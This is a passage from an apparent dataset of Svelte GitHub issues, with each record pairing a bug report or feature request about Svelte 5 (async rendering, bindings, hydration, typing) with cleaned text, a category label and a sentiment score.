* [Svelte 5.42.3](https://svelte.dev/playground/hello-world?version=5.42.3#H4sIAAAAAAAAE22QTWuDQBCG_8ow9KAgib2KCoUeeikpodBDt4eNO2kXxlHcUSvify-aBHLocR7eeeZjRrE1YYYvxNzA2HTsICLnlVyMCZ49U8Dsc0ad2jW3AkxuXU9tuwsDsa7sZAP9x6tGlEQDZpiHqvOtAlv5LgxqMFgaMVo1EhQcsZ2ggKgOMRQlCI3w1jW1DxR1FBoeaMWB9N3X1PR6ownUIY6NAFxESkGhADtaf7VGj2mabgkmhdE7_YECHoJapSi9a-1bZ5U-roFosNxTBs-H1yNVeiTrDsLTtl10s2yZ3VbFRvL95cb1LsmdH-DkxWXXJ6yWYpaeObkftZT53vmhNDJvnsUIJqj0q5hp19PylaBaz6MXh9nZcqDlD1cbFx-7AQAA) ✅
* [Svelte 5.43.0](https://svelte.dev/playground/hello-world?version=5.43.0#H4sIAAAAAAAAE22QTWuDQBCG_8ow9KAgib2KCoUeeikpodBDt4eNO2kXxlHcUSvify-aBHLocR7eeeZjRrE1YYYvxNzA2HTsICLnlVyMCZ49U8Dsc0ad2jW3AkxuXU9tuwsDsa7sZAP9x6tGlEQDZpiHqvOtAlv5LgxqMFgaMVo1EhQcsZ2ggKgOMRQlCI3w1jW1DxR1FBoeaMWB9N3X1PR6ownUIY6NAFxESkGhADtaf7VGj2mabgkmhdE7_YECHoJapSi9a-1bZ5U-roFosNxTBs-H1yNVeiTrDsLTtl10s2yZ3VbFRvL95cb1LsmdH-DkxWXXJ6yWYpaeObkftZT53vmhNDJvnsUIJqj0q5hp19PylaBaz6MXh9nZcqDlD1cbFx-7AQAA) ❌
* [Svelte 5.43.2](... [TRUNCATED]",,2025-10-31 15:40:45+00:00,2025-11-07 22:40:35+00:00,1,nan,7.2916,svelte function bindings and in a single component cause an error describe the bug the following code causes an error reproduction svelte svelte svelte truncated,bug,-0.8402
sveltejs/svelte,3575163225,await order breaks `bind:`,"### Describe the bug

If you use `await` in `<script>` before a binded `$state` variable, an error is thrown:

```
Cannot read properties of undefined (reading 'f')
```

For example, this works:
```svelte
<script>
	import Input from './Input.svelte';

	let value = $state(0);
	let data = await fetch('...');
</script>

<Input bind:value />
```

but this throws an error:
```svelte
<script>
	import Input from './Input.svelte';

	let data = await fetch('...');
	let value = $state(0);
</script>

<Input bind:value />
```

### Reproduction

[REPL](https://svelte.dev/playground/a390f8ee59074b11a461d3aac91a1ffd?version=5.43.2)

### Logs

```shell
Error: Cannot read properties of undefined (reading 'f')

	in <unknown>
	in __wrapper.svelte

    at get (playground:output:3903:22)
    at get value (playground:output:4737:13)
    at eval (playground:output:4622:87)
    at capture_store_binding (playground:output:4572:12)
    at prop (playground:output:4622:36)
    at Input (playground:output:4711:3)
    at App.add_svelte_meta.componentTag (playground:output:4735:10)
    at add_svelte_meta (playground:output:568:11)
    at App (playground:output:4734:3)
    at add_svelte_meta.componentTag (playground:output:4770:27)
```

### System Info

```shell
svelte@5.43.2
```

### Severity

blocking an upgrade",,2025-10-31 14:21:19+00:00,2025-11-07 22:40:35+00:00,5,nan,7.3467,await order breaks describe the bug if you use in before a binded variable an error is thrown for example this works but this throws an error reproduction repl logs system info severity blocking an upgrade,others,-0.8807
sveltejs/svelte,3573091779,TypeScript incorrectly infers Promise<T> for async $derived.by instead of T,"### Describe the bug

When using $derived.by with an async function in Svelte (with the experimental async flag enabled), TypeScript incorrectly infers the return type as Promise<T> instead of T, even though at runtime the value is the resolved T.

### Reproduction

```svelte
let userId = $state(1);  
  
// TypeScript infers userData as Promise<UserData>  
// But at runtime it's actually UserData  
let userData = $derived.by(async () => {  
  const response = await fetch(`/api/users/${userId}`);  
  return await response.json(); // returns UserData  
});  
  
// Type error: Property 'fullName' does not exist on type 'Promise<UserData>'  
console.log(userData.fullName);
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 24.04.1 LTS 24.04.1 LTS (Noble Numbat)
    CPU: (8) x64 13th Gen Intel(R) Core(TM) i7-13620H
    Memory: 3.69 GB / 7.57 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.20.0 - /home/esteban/.nvm/versions/node/v22.20.0/bin/node
    Yarn: 1.22.22 - /home/esteban/.nvm/versions/node/v22.20.0/bin/yarn
    npm: 10.9.3 - /home/esteban/.nvm/versions/node/v22.20.0/bin/npm
    pnpm: 10.17.1 - /home/esteban/.nvm/versions/node/v22.20.0/bin/pnpm
    bun: 1.3.0 - /home/esteban/.bun/bin/bun
  npmPackages:
    svelte: 5.42.3 => 5.42.3
```

### Severity

annoyance",,2025-10-31 01:52:04+00:00,2025-10-31 05:23:25+00:00,2,nan,0.1468,typescript incorrectly infers promise for async derived by instead of t describe the bug when using derived by with an async function in svelte with the experimental async flag enabled typescript incorrectly infers the return type as promise instead of t even though at runtime the value is the resolved t reproduction logs system info severity annoyance,others,0.34
sveltejs/svelte,3572714239,Add a :component selector for easier scoped styling.,"### Describe the problem

Hey everyone,

Sometimes you need to modify the (S)CSS of an existing component without editing its source file. To do that, you typically use the `:global` selector, which allows you to apply styles to class names that are outside the scope of the current component or page.

However, I find that approach inconvenient. If you like keeping things clean and don’t want to use inline styles or, for example, need to use `@media` queries you’d have to wrap the component in a `div` and write something like:

```svelte
<script>
  import MyComponent from ""./Component.svelte""
</script>

<div class=""sample"">
  <MyComponent class=""sample-component""/>
</div>

<style lang=""scss"">
  .sample {
    display: contents;

    :global(.sample-component) {
      /* styles */

      @media (max-width: 1000px) {
        /* styles */
      }
    }
  }
</style>
```

That ends up being unnecessary boilerplate code.

### Describe the proposed solution

My suggestion is to add a `:component` selector, which would allow you to do the following:

```svelte
<script>
  import MyComponent from ""./Component.svelte""
</script>

<MyComponent />

<style lang=""scss"">
  :component(MyComponent) {
    /* styles */

    @media (max-width: 1000px) {
      /* styles */
    }
  }
</style>
```

### Importance

would make my life easier",,2025-10-30 22:38:37+00:00,2025-10-30 22:42:47+00:00,1,nan,0.0029,add a component selector for easier scoped styling describe the problem hey everyone sometimes you need to modify the s css of an existing component without editing its source file to do that you typically use the selector which allows you to apply styles to class names that are outside the scope of the current component or page however i find that approach inconvenient if you like keeping things clean and don t want to use inline styles or for example need to use queries you d have to wrap the component in a and write something like that ends up being unnecessary boilerplate code describe the proposed solution my suggestion is to add a selector which would allow you to do the following importance would make my life easier,others,0.9217
sveltejs/svelte,3572470017,Programatically set a `<svelte:boundary>` as pending,"### Describe the problem

It would be nice if the `<svelte:boundary>` had a property (maybe bindable) that could be used to set it as pending when no async work is being done.  I have an auth library that connects to my backend before my site is ready.  I want to show a loading state for this, so I use an `{#if}{/if}` for that.  One of the problems is that the loading spinner has jank because it's rendered twice, once for async work and once for auth loading.  This is undesirable for me.

Another use case would be to trigger the loading spinner during client navigations.

### Describe the proposed solution

```svelte
<script>
    let isPending = $state(false);
</script>
<svelte:boundary bind:{isPending}>
	<p>{await delayed('hello!')}</p>

	{#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>
```

Something like this would be nice to see.  The boundary would still be pending when async work is done, but also when `isPending` is `true`

### Importance

would make my life easier",,2025-10-30 20:52:08+00:00,2025-12-17 15:25:38+00:00,4,nan,47.7733,programatically set a as pending describe the problem it would be nice if the had a property maybe bindable that could be used to set it as pending when no async work is being done i have an auth library that connects to my backend before my site is ready i want to show a loading state for this so i use an for that one of the problems is that the loading spinner has jank because it s rendered twice once for async work and once for auth loading this is undesirable for me another use case would be to trigger the loading spinner during client navigations describe the proposed solution something like this would be nice to see the boundary would still be pending when async work is done but also when is importance would make my life easier,others,0.8316
sveltejs/svelte,3572397857,Svelte 5.36.0 breaks reactive behaviour after navigating,"### Describe the bug

Since svelte 3.60.0 reactivity seems to break after navigating away from a page and than back.
I've provided an example of the problem in the Reproduction section below.


### Reproduction

See instructions on: [https://stackblitz.com/edit/svelte-5-36-0-problem](https://stackblitz.com/edit/svelte-5-36-0-problem)

In the example you click on a link and the name of that link is shown in the field above.
When navigating away from that page and back, you click again on the links.
The first time you click on the name the field again reactively updates, but the second time (and any time after that) it doesn't update anymore.

On svelte 5.35.7 it still works: [https://stackblitz.com/edit/svelte-5-35-7](https://stackblitz.com/edit/svelte-5-35-7)

### Workaround
Adding `data-sveltekit-reload` to the navigation link forces a full page reload and avoids the issue entirely.
Here's the workaround: [https://stackblitz.com/edit/svelte-5-36-0-workaround](https://stackblitz.com/edit/svelte-5-36-0-workaround)

### Logs

```shell
No feedback is provided in the console.
```

### System Info

```shell
Using Chrome to test.

 System:
    OS: macOS 15.6.1
    CPU: (10) arm64 Apple M1 Max
    Memory: 208.39 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.4 - /opt/homebrew/opt/node@20/bin/node
    npm: 10.8.2 - /opt/homebrew/opt/node@20/bin/npm
  Browsers:
    Brave Browser: 141.1.83.118
    Chrome: 141.0.7390.123
    Firefox: 144.0
    Safari: 18.6
  npmPack... [TRUNCATED]",,2025-10-30 20:29:43+00:00,2025-11-17 18:55:43+00:00,2,nan,17.9347,svelte breaks reactive behaviour after navigating describe the bug since svelte reactivity seems to break after navigating away from a page and than back i ve provided an example of the problem in the reproduction section below reproduction see instructions on in the example you click on a link and the name of that link is shown in the field above when navigating away from that page and back you click again on the links the first time you click on the name the field again reactively updates but the second time and any time after that it doesn t update anymore on svelte it still works workaround adding to the navigation link forces a full page reload and avoids the issue entirely here s the workaround logs system info shell using chrome to test system os macos cpu arm apple m max memory mb gb shell bin zsh binaries node opt homebrew opt node bin node npm opt homebrew opt node bin npm browsers brave browser chrome firefox safari npmpack truncated,others,0.1779
sveltejs/svelte,3571135169,Allow passing custom options to shadow DOM constructor,"### Describe the problem

Currently, the only thing you can pass to shadow DOM contructor is either [`mode: ""open""`](https://github.com/sveltejs/svelte/blob/8ebc3b1337bd12931f5608ab608b9668e10aa6c2/packages/svelte/src/internal/client/dom/elements/custom-element.js#L49) or nothing at all.
https://svelte.dev/docs/svelte/custom-elements#Component-options

This means that you can't create shadow DOM with `closed` shadow root or change any other options of [`attachShadow()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/attachShadow).



### Describe the proposed solution

Instead of passing only `""none""` to the `shadow` custom element option, allow passing the whole [`options`](https://developer.mozilla.org/en-US/docs/Web/API/Element/attachShadow#options) object, which would be then passed to `attachShadow()`.

This would allow changing shadow root mode to `closed` and would also allow you to customize all the other options.

This would probably be considered a breaking change for everyone already using `shadow: ""none""`, so you should be able to still pass either:
- `shadow: ""none""` or `shadow: ""open""` - to maintain backwards compatibility
- something like `shadow: { mode: 'closed', clonable: false }` (or any other options)

### Importance

nice to have",custom element,2025-10-30 14:43:35+00:00,2026-01-28 00:37:28+00:00,1,custom element,89.4124,allow passing custom options to shadow dom constructor describe the problem currently the only thing you can pass to shadow dom contructor is either or nothing at all this means that you can t create shadow dom with shadow root or change any other options of describe the proposed solution instead of passing only to the custom element option allow passing the whole object which would be then passed to this would allow changing shadow root mode to and would also allow you to customize all the other options this would probably be considered a breaking change for everyone already using so you should be able to still pass either or to maintain backwards compatibility something like or any other options importance nice to have,others,0.9201
sveltejs/svelte,3569350019,5.43.0: Using `await` with `@const` in a boundary with no `pending` snippet causing every elements to be doubled,"### Describe the bug

Before this, I used `const foo = $derived(await getFoo());` in the script tag. However, this causes every dropdown elements to not function. In an attempt to fix the issue, I move it down to the markup section using `@const` and now everything is displayed twice. It seems one version is from SSR and non-interactive and the other is from hydration.

### Reproduction
```js
//test.remote.ts
import { query } from '$app/server';
export const getFoo = query(() => 'foo');
```
```html
<script lang=""ts"">
	import { getFoo } from './test.remote.js';
</script>

<svelte:boundary>
	{@const foo = await getFoo()}
	<p>Everything here is doubled</p>
	<button class=""border"" onclick={() => console.log(""I'm clickable"")}>
		Click me and check log
	</button>
</svelte:boundary>
```
https://www.sveltelab.dev/re9l2v5211tgm03

### Logs

```shell

```

### System Info

```shell
svelte@5.43.0
kit@2.48.3
```

### Severity

blocking an upgrade",,2025-10-30 08:00:09+00:00,2025-11-17 15:18:22+00:00,2,nan,18.3043,using with in a boundary with no snippet causing every elements to be doubled describe the bug before this i used in the script tag however this causes every dropdown elements to not function in an attempt to fix the issue i move it down to the markup section using and now everything is displayed twice it seems one version is from ssr and non interactive and the other is from hydration reproduction logs system info severity blocking an upgrade,others,-0.6486
sveltejs/svelte,3569273808,Async component rendering bug with #each,"### Describe the bug

The rendered state doesn't update. Not sure what the exact issue is. 

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.0#H4sIAAAAAAAAE3WQwU7DMAyGXyUyaBoSopxDO4m9wo7rDm7rQqQsqRq3A1V7d5ykGjtAckji__vtX1nA4ZlAQ5jJMqlm-oBn6I2lAPq4AH8PUY0Fqa_s-zC8ZF5qDQb6q956x-RY2kAZ2tEMvKudkmWJ1Yx2IlWpx8DItK2j1VINT2-1y5TYA6ve-0h1NJqZui1e0KzmSP5yDY73XLJV1Tpms1HH11M0lMUtiTwCWWrFa1ynE7kGLP3Axrvsrm7Zduksi6z-w-7RyRY4X-5omZ3mpdnLA2H7GWNfc59D0qhT_TgZ1mpJDUVcikjKRb6U6YtB8yjCSV5o7EWyg-7RBrr-AEdFfk7LAQAA)

```svelte
<script>
    let value = $state(""Apple"");

    const foo = $derived(await value);
    const bar = $derived(foo === value && [0]);
</script>

<select bind:value>
    <option value=""Apple"">Apple</option>
    <option value=""Banana"">Banana</option>
</select>

{#each bar}
    Selected fruit: {value}
{/each}

```

### Logs

```shell
```

### System Info

```shell
Svelte playground
```

### Severity

annoyance",,2025-10-30 07:30:31+00:00,2025-11-16 17:35:35+00:00,0,nan,17.4202,async component rendering bug with each describe the bug the rendered state doesn t update not sure what the exact issue is reproduction repl logs system info severity annoyance,bug,-0.8505
sveltejs/svelte,3568099586,Closing script tag in comment causes error,"### Describe the bug

Including ""</script>"" in a comment leads to an error, either ""`</script>` attempted to close an element that was not open"" or ""Unterminated comment"", depending on whether a single or multiline comment was used. This is an issue because certain libraries (eg [Runed](https://github.com/svecosystem/runed/blob/main/packages/runed/src/lib/utilities/debounced/debounced.svelte.ts)) include script tags in examples in jsdoc comments.

From some testing it looks like this issue only manifests in code in node_modules when `svelte-preprocess` is used.

### Reproduction

https://svelte.dev/playground/54541fdd150141188a698ae9f9d38f0c?version=5.43.0

### Logs

```shell
Single line comment:
Error: Unterminated comment

Multiline comment:
`</script>` attempted to close an element that was not open
```

### System Info

```shell
REPL with svelte v5.43.0
```

### Severity

annoyance",,2025-10-29 22:09:30+00:00,2025-10-29 22:20:04+00:00,4,nan,0.0073,closing script tag in comment causes error describe the bug including in a comment leads to an error either attempted to close an element that was not open or unterminated comment depending on whether a single or multiline comment was used this is an issue because certain libraries eg runed include script tags in examples in jsdoc comments from some testing it looks like this issue only manifests in code in node modules when is used reproduction logs system info severity annoyance,bug,-0.7717
sveltejs/svelte,3571127963,`params` becomes empty object (`{}`) after any async work,"### Describe the bug

`params` becomes `{}` after any async work

```svelte
<script>
  const { params } = $props();

  console.log(params); // { slug: 'test-1' }
  await Promise.resolve()
  console.log(params); // {}
</script>
```

This bug was introduced in 5.42.0. Still present in 5.43.0

### Reproduction

Steps to reproduce:
1. Open the browser console
2. Hover either link and observe the console

https://stackblitz.com/edit/sveltejs-kit-template-default-b5xxkxnj?file=src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2F[slug]%2Ftest.remote.ts,src%2Froutes%2F[slug]%2F%2Bpage.svelte

### Logs

```
✅ First remote function call:
test-1

❌ Second remote function call, with the same parameter:
Remote function schema validation failed: [
  {
    kind: 'schema',
    type: 'string',
    input: undefined,
    expected: 'string',
    received: 'undefined',
    message: 'Invalid type: Expected string but received undefined',
    requirement: undefined,
    path: undefined,
    issues: undefined,
    lang: undefined,
    abortEarly: undefined,
    abortPipeEarly: undefined
  }
]
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.42.0 => 5.43.0 
    @sveltejs/kit: 2.48.3 =... [TRUNCATED]",,2025-10-29 18:47:31+00:00,2025-11-03 20:02:10+00:00,4,nan,5.0518,becomes empty object after any async work describe the bug becomes after any async work this bug was introduced in still present in reproduction open the browser console hover either link and observe the console logs system info shell system os linux undefined cpu x intel r core tm i h cpu ghz memory bytes bytes shell bin jsh binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm pnpm usr local bin pnpm npmpackages svelte sveltejs kit truncated,others,-0.7783
sveltejs/svelte,3566589558,resolve type error,"### Describe the bug

`goto(resolve(`/catalog?${searchParam.toString()}`)`
is there some solution not to disable ESlint error // @ts-expect-error

### Reproduction

generic error message

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 AMD Ryzen 7 2700X Eight-Core Processor
    Memory: 3.08 GB / 15.95 GB
  Binaries:
    Node: 22.13.1 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\tihom\AppData\Roaming\npm\yarn.CMD
    npm: 11.6.2 - C:\Program Files\nodejs\npm.CMD
    pnpm: 10.18.3 - C:\Users\tihom\AppData\Roaming\npm\pnpm.CMD
    bun: 1.3.1 - C:\Users\tihom\.bun\bin\bun.EXE
    Deno: 2.0.2 - C:\Users\tihom\.deno\bin\deno.EXE
  Browsers:
    Chrome: 141.0.7390.123
    Edge: Chromium (141.0.3537.92)
    Internet Explorer: 11.0.26100.1882
```

### Severity

annoyance",,2025-10-29 15:28:24+00:00,2025-10-30 12:15:51+00:00,0,nan,0.8663,resolve type error describe the bug catalog searchparam tostring is there some solution not to disable eslint error ts expect error reproduction generic error message logs system info severity annoyance,bug,-0.91
sveltejs/svelte,3566287958,Cannot migrate `page` to `app-state` in module-level `derived`,"### Describe the bug

I am finishing migrating our project to Svelte 5 and I noticed that we need to migrate `page` from `$app/stores` to `$app/state`.

However, this causes an issue with `derived` stores in a TS module. In fact, `page` is not `Readable` anymore, so, it does not trigger any reactivity.

And it cannot be completely migrated to being consumed in each components, since there are other `derived` depending on the first `derived`, and so on and so forth.

It seems to be kind of a feature loss, or maybe is it an unexpected usage? What is the official migration guide here?

### Note

I had raised the same issue with the migration script, but it was ultimately dismissed without a proper solution or guide. See https://github.com/sveltejs/svelte/issues/16758

### Reproduction


Before

```ts
// ./nav.derived.ts

import { page } from '$app/stores';
import { derived, type Readable } from 'svelte/store';

export const routeCollection: Readable<string | undefined | null}> = derived(
	[page],
	([
		{
			data: { collection }
		}
	]) => collection
);
```


After

```ts
// ./nav.derived.ts

import { page } from '$app/state';
import { derived, type Readable } from 'svelte/store';

export const routeCollection: Readable<string | undefined | null}> = derived(
	[page], // <---- Property subscribe is missing in type [...] but required in type Readable<any>
	([
		{
			data: { collection }
		}
	]) => collection
);
```

### System Info

```shell
System:
    OS: macOS 26.0.1
    CPU: (1... [TRUNCATED]",,2025-10-29 14:29:18+00:00,2025-10-30 07:00:01+00:00,11,nan,0.688,cannot migrate to in module level describe the bug i am finishing migrating our project to svelte and i noticed that we need to migrate from to however this causes an issue with stores in a ts module in fact is not anymore so it does not trigger any reactivity and it cannot be completely migrated to being consumed in each components since there are other depending on the first and so on and so forth it seems to be kind of a feature loss or maybe is it an unexpected usage what is the official migration guide here note i had raised the same issue with the migration script but it was ultimately dismissed without a proper solution or guide see reproduction before after system info shell system os macos cpu truncated,others,-0.624
sveltejs/svelte,3564308807,Async component with $bindable causes rune_outside_svelte error,"### Describe the bug

When a component uses a `$bindable` prop and also uses top-level `await` in the `<script />` it causes  rune_outside_svelte error

This bug was introduced in 5.43.0

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-3jkmgudh?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
Svelte error: rune_outside_svelte
The `$bindable` rune is only available inside `.svelte` and `.svelte.js/ts` files
https://svelte.dev/e/rune_outside_svelte
    at Module.rune_outside_svelte (/home/projects/sveltejs-kit-template-default-3jkmgudh/node_modules/svelte/src/internal/client/errors.js:436:17)
    at get (/home/projects/sveltejs-kit-template-default-3jkmgudh/node_modules/svelte/src/index-client.js:63:28)
    at eval (/home/projects/sveltejs-kit-template-default-3jkmgudh/src/routes/Component.svelte:22:51)
    at eval (/home/projects/sveltejs-kit-template-default-3jkmgudh/node_modules/svelte/src/internal/server/renderer.js:164:13)

Node.js v20.19.1
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.43.0 => 5.43.0
```

### Severity

annoyance",,2025-10-29 04:36:31+00:00,2025-10-30 12:51:24+00:00,4,nan,1.3437,async component with bindable causes rune outside svelte error describe the bug when a component uses a prop and also uses top level in the it causes rune outside svelte error this bug was introduced in reproduction logs system info severity annoyance,bug,-0.91
sveltejs/svelte,3562012946,Change to function head breaks ssr snapshots,"### Describe the bug

Hi, the change from here

https://github.com/sveltejs/svelte/pull/17052/files#diff-e8cd30cfb0931b1ce87fcfc5d783f30effd1334222b69437f33e32eccbf48faaR74

introduced in

https://github.com/sveltejs/svelte/pull/17052

breaks ssr snapshots.

It would be cool if we could introduce a compiler option to make hashes in test environment stable in a similar way to cssHash option.

### Reproduction

create serverside rendered app.
and snapshot ssr rendered result

### Logs

```shell

```

### System Info

```shell
vitest@3 svelte v5.42.3
```

### Severity

annoyance",,2025-10-28 15:02:45+00:00,2025-10-28 15:14:05+00:00,1,nan,0.0079,change to function head breaks ssr snapshots describe the bug hi the change from here introduced in breaks ssr snapshots it would be cool if we could introduce a compiler option to make hashes in test environment stable in a similar way to csshash option reproduction create serverside rendered app and snapshot ssr rendered result logs system info severity annoyance,others,0.2732
sveltejs/svelte,3561598943,handle_event_propagation breaks due to fact that delegate is an array,"### Describe the bug

Hi,

the change in this commit

https://github.com/sveltejs/svelte/pull/17030/files#diff-e0947e41d13f3575875c7158bc594ec03de070b6d687220f6ca84e23336f70eaR261

<img width=""1610"" height=""196"" alt=""Image"" src=""https://github.com/user-attachments/assets/a5b43256-dcf0-4df8-a849-c79a2e8554b4"" />

Breaks i a use case where 

the event is added inside of a web component created with svelte >= v5.42.3
and also from another bundle which renders the webcomponent with svelte < 5.42.3 (propbably).

so something like this:

```svelte
<my-element onclick={()=>console.log(""hi"")}>
```

Where ""my-element"" is a web-component created with svelte

In this case the call to

```js
delegate.call()
```

breaks with error ""delegate.call is not a function""

<img width=""365"" height=""284"" alt=""Image"" src=""https://github.com/user-attachments/assets/dc888660-024f-4d76-a0f3-5e6a46296dfa"" />



### Reproduction

Create a webcomponent with latest svelte, which also binds a ""click"" event to its ""host"" element, and bundle it.
Create a svelte app which uses the webcomponent and use `onclick` to bind the event on the custom-element.

Click on the element

Error arises.

### Logs

```shell

```

### System Info

```shell
Latest Chrome, Edge, Firefox, Safari
```

### Severity

blocking an upgrade",,2025-10-28 13:32:29+00:00,2026-02-13 21:47:18+00:00,2,nan,108.3436,handle event propagation breaks due to fact that delegate is an array describe the bug hi the change in this commit breaks i a use case where the event is added inside of a web component created with svelte v and also from another bundle which renders the webcomponent with svelte propbably so something like this where my element is a web component created with svelte in this case the call to breaks with error delegate call is not a function reproduction create a webcomponent with latest svelte which also binds a click event to its host element and bundle it create a svelte app which uses the webcomponent and use to bind the event on the custom element click on the element error arises logs system info severity blocking an upgrade,others,-0.714
sveltejs/svelte,3561240994,Is this `binding_property_non_reactive` really correct?,"### Describe the bug

Using Svelte (v5.42.3) and Svelte Kit (v2.48.2) and `@tanstack/svelte-query` (v6.0.3).

If I have the component `Player.svelte`:

```svelte
<script lang=""ts"">
    import { createQuery } from '@tanstack/svelte-query';

    const playerStore = createQuery(() => ({
        queryKey: ""key"",
        queryFn: playerById(page.params.player_id),
    }));

    let { data: player } = $derived(playerStore);
</script>

<FormPlayers bind:player={player} />
```

and `FormPlayers.svelte`:

```svelte
<script lang=""ts"">
    type Props = {
        player: Player;
    };

    let {
        player = $bindable(),
    }: Props = $props();
</script>

{#each player.skills as skill, index (skill.id)}
    <FormPlayerSkill bind:skill={player.skills[index]} />
{/each}
```

and `FormPlayerSkill.svelte`:

```svelte
<script lang=""ts"">
    type Props = {
        skill: PlayerSkillInput;
    };

    let {
        skill = $bindable()
    }: Props = $props();
</script>

<Date bind:date={skill.date} />
```

I get the error:

```
FormPlayers.svelte:77 [svelte] binding_property_non_reactive
`bind:skill={player.skills[index]}` (src/routes/players/FormPlayers.svelte:40:4) is binding to a non-reactive property
https://svelte.dev/e/binding_property_non_reactive
```

Why?

Isn't the `let { data: player } = $derived(playerStore)` assignable / bindable / editable / ""Sveltable""?

### Reproduction

https://svelte.dev/playground/2c859a9c620b4b9a8422c2596df4c209?version=5.42.3

I need to use `let {data... [TRUNCATED]",,2025-10-28 11:59:10+00:00,2025-10-28 17:30:38+00:00,3,nan,0.2302,is this really correct describe the bug using svelte v and svelte kit v and v if i have the component and and i get the error why isn t the assignable bindable editable sveltable reproduction i need to use let data truncated,others,-0.7184
sveltejs/svelte,3558536918,Pending async effects breaking synchronous state/effects,"### Describe the bug

When I have pending async work happening (e.g. mounting an async component) I am getting strange and erroneous results while modifying state elsewhere.

See the reproduction for examples.

### Reproduction

Reproduction: https://svelte.dev/playground/c0f672d625bb47f28808234647d8a5f3?version=5.42.2

This example contains a list of incrementing numbers which can be added to by clicking the button. Each list item will also cause an async component to be rendered.

If you rapidly click the ""Add to list"" button you will be appending to the list while async work in happening from mounting new the components.

When rapidly clicking you will observe

1) The original list will temporarily have gaps in it
2) The derived list showing the type of each element will have `undefined` where the gaps are

<img width=""607"" height=""59"" alt=""Image"" src=""https://github.com/user-attachments/assets/d73c44ef-bde1-4233-9bda-09bfb1a52e9a"" />

3) The printed results should eventually reconcile
4) Printing the lists as a text expression `{list}` gives different results than printing inside of an `#{each}` block until the results reconcile

The primary issue here is (1) (and by extension (2)) where we temporarily have incorrect records. In the real world this leads to unexpected errors such as trying to access properties of `undefined`.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    ... [TRUNCATED]",,2025-10-27 20:30:21+00:00,2026-03-18 16:43:19+00:00,1,nan,141.8423,pending async effects breaking synchronous state effects describe the bug when i have pending async work happening e g mounting an async component i am getting strange and erroneous results while modifying state elsewhere see the reproduction for examples reproduction reproduction this example contains a list of incrementing numbers which can be added to by clicking the button each list item will also cause an async component to be rendered if you rapidly click the add to list button you will be appending to the list while async work in happening from mounting new the components when rapidly clicking you will observe the original list will temporarily have gaps in it the derived list showing the type of each element will have where the gaps are the printed results should eventually reconcile printing the lists as a text expression gives different results than printing inside of an block until the results reconcile the primary issue here is and by extension where we temporarily have incorrect records in the real world this leads to unexpected errors such as trying to access properties of logs system info shell system os linux arch linux cpu x amd ryzen six core processor truncated,others,-0.8625
sveltejs/svelte,3557697404,"Collection of bugs with async svelte & bits-ui & more (in a more ""complex app"")","### Describe the bug

I mostly explain things in [this video](https://youtu.be/DkE32Zk-ca0). TLDR; it is about issues with async waterfalls, components like dialogs or dropdowns not working, hydration mismatches and more.

### Reproduction

Here is the repo (the most up to date is on the dev branch): https://github.com/nevthereal/pontiq

### Logs

```shell
[svelte] hydration_mismatchHydration failed because the initial UI does not match what was rendered on the serverhttps://svelte.dev/e/hydration_mismatch
warn @ client.js?v=a27e462a:3196
hydration_mismatch @ chunk-S6PZDPR6.js?v=a27e462a:90
read_hydration_instruction @ chunk-RTJCWWVW.js?v=a27e462a:4200
update_branch @ chunk-SCHCC7HL.js?v=a27e462a:717
(anonymous) @ chunk-SCHCC7HL.js?v=a27e462a:737
update_reaction @ chunk-RTJCWWVW.js?v=a27e462a:3288
update_effect @ chunk-RTJCWWVW.js?v=a27e462a:3418
create_effect @ chunk-RTJCWWVW.js?v=a27e462a:2763
block @ chunk-RTJCWWVW.js?v=a27e462a:2915
if_block @ chunk-SCHCC7HL.js?v=a27e462a:730
(anonymous) @ bits-ui.js?v=a27e462a:2353
add_svelte_meta @ chunk-RTJCWWVW.js?v=a27e462a:547
Presence_layer @ bits-ui.js?v=a27e462a:2352
(anonymous) @ chunk-SCHCC7HL.js?v=a27e462a:298
update_reaction @ chunk-RTJCWWVW.js?v=a27e462a:3288
update_effect @ chunk-RTJCWWVW.js?v=a27e462a:3418
create_effect @ chunk-RTJCWWVW.js?v=a27e462a:2763
branch @ chunk-RTJCWWVW.js?v=a27e462a:2922
(anonymous) @ chunk-SCHCC7HL.js?v=a27e462a:292
update_reaction @ chunk-RTJCWWVW.js?v=a27e462a:3288
